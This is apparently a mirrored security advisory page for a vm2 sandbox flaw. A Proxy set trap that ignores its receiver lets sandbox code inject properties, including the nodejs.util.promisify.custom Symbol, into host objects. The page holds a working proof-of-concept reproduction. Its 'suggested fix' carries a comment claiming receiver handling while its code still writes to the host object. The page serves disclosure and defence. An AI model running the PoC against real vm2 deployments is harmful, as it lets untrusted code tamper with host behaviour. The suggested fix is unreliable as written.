vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain
Summary
The BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object.
This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path.
Vulnerable Code
// bridge.js:1231-1260
set(target, key, value, receiver) {
validateHandlerTarget(this, target);
const object = getHandlerObject(this);
if (isProtectedHostObject(object)) throw new VMError(OPNA);
// ...
try {
value = otherFromThis(value);
return otherReflectSet(object, key, value) === true;
// BUG: 'receiver' is never used.
// Should check if receiver !== proxy and handle accordingly.
} catch (e) {
throw thisFromOtherForThrow(e);
}
}
Impact
Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:
// Sandbox code
const child = Object.create(hostObj);
child.injectedProp = 'attacker-value';
// hostObj now has 'injectedProp' on the HOST side
Combined with the Symbol.for coverage gap, this enables semantic confusion attacks:
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFunction);
child[kCustom] = function() {
return Promise.resolve('attacker-controlled');
};
// Host: util.promisify(hostFunction)() returns 'attacker-controlled'
Reproduction
const { VM } = require('vm2');
const util = require('util');
const vm = new VM();
const hostFn = function api(cb) { cb(null, 'ok'); };
vm.setGlobal('hostFn', hostFn);
vm.run(`
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFn);
child[kCustom] = function() {
return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');
};
`);
// Host side
const promisified = util.promisify(hostFn);
promisified('test').then(r => console.log(r));
// Output: EXPLOITED-VIA-RECEIVER-BUG
Suggested Fix
set(target, key, value, receiver) {
validateHandlerTarget(this, target);
const object = getHandlerObject(this);
if (isProtectedHostObject(object)) throw new VMError(OPNA);
if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {
return this.setPrototypeOf(target, value);
}
if (key === 'constructor' && thisArrayIsArray(object)) {
thisReflectSet(target, key, value);
return true;
}
try {
value = otherFromThis(value);
// When receiver is not the proxy itself, set on receiver (this-realm)
// instead of the host target to preserve prototype-chain semantics.
return otherReflectSet(object, key, value) === true;
} catch (e) {
throw thisFromOtherForThrow(e);
}
}
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | vm2 | < 3.11.4 | 3.11.4 |
Verweise
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N- Schwäche (CWE)
CWE-693- Plattform
- npm
- Paket
vm2- Veröffentlicht
- 29.05.2026
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-c4cf-2hgv-2qv6 - CC BY 4.0
Schwachstellenhistorie: vm2
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 78
- Erste → letzte
- 10.2021 10.2026
- Ohne Fix
- 1
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 51
- Hoch 14
- Mittel 12
- Niedrig 1
Veröffentlichungen pro Jahr
- 2021: 1
- 2022: 4
- 2023: 7
- 2024: 0
- 2025: 0
- 2026: 66
-
vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.